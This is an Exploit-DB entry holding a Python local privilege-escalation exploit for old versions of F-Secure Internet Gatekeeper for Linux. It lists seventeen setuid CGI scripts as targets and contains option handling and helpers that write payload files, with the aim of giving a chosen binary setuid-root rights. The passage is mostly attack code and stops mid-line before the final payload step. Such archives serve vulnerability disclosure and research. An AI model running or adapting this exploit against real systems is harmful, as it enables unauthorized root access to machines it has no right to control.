Exploit-DB #1297
Description: F-Secure Internet GateKeeper for Linux < 2.15.484 / Gateway < 2.16 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2005-11-07
Author: Xavier de Leon

Exploit:
#!/usr/bin/env python
#
# F-Secure Anti-Virus Internet Gatekeeper for Linux <2.15.484 
# F-Secure Anti-Virus Linux Gateway <2.16 # added line 3-4 for references /str0ke
#
##############################################################################
##  fsigk_exp.py: F-Secure Internet Gatekeeper for Linux local root exploit
##  acknowledgements: everyone in pure-elite and uDc.
##
##  coded by: xavier@tigerteam.se [http://xavsec.blogspot.com]
##############################################################################

##############################################################################
##  Make proper checks and import nessesary calls from modules.
##

try: 
    from sys import argv
except Exception: 
    print "the 'sys' module could not be loaded"
    raise SystemExit

try: 
    from os import unlink, stat, error, symlink, system, chmod
except Exception:
     print "the 'os' module could not be loaded"
     raise SystemExit

try: 
    import getopt
except Exception: 
    print "the 'getopt' module could not be loaded"
    raise SystemExit

##############################################################################
##  Constants.
##

__program__ = argv[0]
__version__ = "0.1beta"
__author__ = "<xavier@tigerteam.se>"
__lastedit__ = "Thu Sep 22 23:18:39 EDT 2005"
__usage__ = """usage: %s [-options]

options:
       --version  show program's version number and exit.
      -h, --help  show this help message and exit.

      -s, --suid  file location to suid.
       -d, --dir  cgi directory.
     -c, --clean  cleans any left over files from the environment creation.
              -#  enter numerical value of vulnerable file to exploit. [list below]

 1: ifconfig_suid.cgi  |  2: reboot_suid.cgi     |  3: proxy_suid.cgi
 4: edittmpl_suid.cgi  |  5: version_suid.cgi    |  6: hostname_suid.cgi
 7: gateway_suid.cgi   |  8: halt_suid.cgi       |  9: edituserdb_suid.cgi
10: htpasswd_suid.cgi  | 11: pattern_up_suid.cgi | 12: license_suid.cgi
13: iptables_suid.cgi  | 14: dns_suid.cgi        | 15: pattern_autoup_suid.cgi
16: spam_list_suid.cgi | 17: diag_suid.cgi""" % (__program__)

#######################################################################################
## Functions.
##

def _write(file, payload):
    try: 
        open(file, 'w').write(payload)
        chmod(file, 0100)
    except Exception, err: 
        print ("[-] %s" % (err))

def _exists(path):
    try: 
        stat(path)
    except error:
        return False
    return True

def _handleopts():
    for opt in argv[1:]:
        if opt in ("-h", "--help"): 
            print "%s" % (__usage__),
            raise SystemExit
        if opt in ("-v", "--version"): 
            print "%s (%s)" % (__version__, __lastedit__),
            raise SystemExit

    _method_ = 'ifconfig_suid.cgi'
    _file_ = 'ifconfig.cgi'
    for opt in argv[1:]:
        if opt == "-1": 
            _method_ = 'ifconfig_suid.cgi'
        elif opt == "-2": 
            _method_ = 'reboot_suid.cgi'
            _file_ = 'reboot.cgi'
        elif opt == "-3": 
            _method_ = 'proxy_suid.cgi'
            _file_ = 'proxy.cgi'
        elif opt == "-4": 
            _method_ = 'edittmpl_suid.cgi'
            _file_ = 'edittmpl.cgi'
        elif opt == "-5": 
            _method_ = 'version_suid.cgi'
            _file_ = 'version.cgi'
        elif opt == "-6": 
            _method_ = 'hostname_suid.cgi'
            _file_ = 'hostname.cgi'
        elif opt == "-7": 
            _method_ = 'gateway_suid.cgi'
            _file_ = 'gateway.cgi'
        elif opt == "-8": 
            _method_ = 'halt_suid.cgi'
            _file_ = 'halt.cgi'
        elif opt == "-9": 
            _method_ = 'edituserdb_suid.cgi'
            _file_ = 'edituserdb.cgi'
        elif opt == "-10": 
            _method_ = 'htpasswd_suid.cgi'
            _file_ = 'htpasswd.cgi'
        elif opt == "-11": 
            _method_ = 'pattern_up_suid.cgi'
            _file_ = 'pattern_up.cgi'
        elif opt == "-12": 
            _method_ = 'license_suid.cgi'
            _file_ = 'license.cgi'
        elif opt == "-13":
            _method_ = 'iptables_suid.cgi'
            _file_ = 'iptables.cgi'
        elif opt == "-14": 
            _method_ = 'dns_suid.cgi'
            _file_ = 'dns.cgi'
        elif opt == "-15": 
            _method_ = 'pattern_autoup_suid.cgi'
            _file_ = 'pattern_autoup.cgi'
        elif opt == "-16": 
            _method_ = 'spam_list_suid.cgi'
            _file_ = 'spam_list.cgi'
        elif opt == "-17": 
            _method_ = 'diag_suid.cgi'
            _file_ = 'diag.cgi'
        else: 
            pass

    try:
        opts = getopt.getopt(argv[1:], 'c[PII_REDACTED]s:d:', ['clean', \
                                                          'suid=', \
                                                          'dir='])[0]
    except Exception, (err):
        print "[-] %s" % (err),
        raise SystemExit

    _dir_ = None
    _payload_ = None
    _combine_ = None

    for o, a in opts:
        if o in ("-c", "--clean"): 
            _clean()
            print "[*] done"
            raise SystemExit
        if o in ("-d", "--dir"): 
            if _exists(a): 
                _dir_ = a
            else: 
                print "[-] unable to access the %s directory" % (_dir_),
                raise SystemExit
        if o in ("-s", "--suid"): 
            if _exists(a): 
                _payload_ = _suid(a)
            else: 
                print "[-] unable to access binary."
                raise SystemExit

    if _dir_ == None: 
        print "[-] no directory was given [try -h for help menu]"
        raise SystemExit
    if _payload_ == None: 
        print "[-] enter binary to suid [try -h for help menu]"
        raise SystemExit
    _combined_ = "%s/%s" %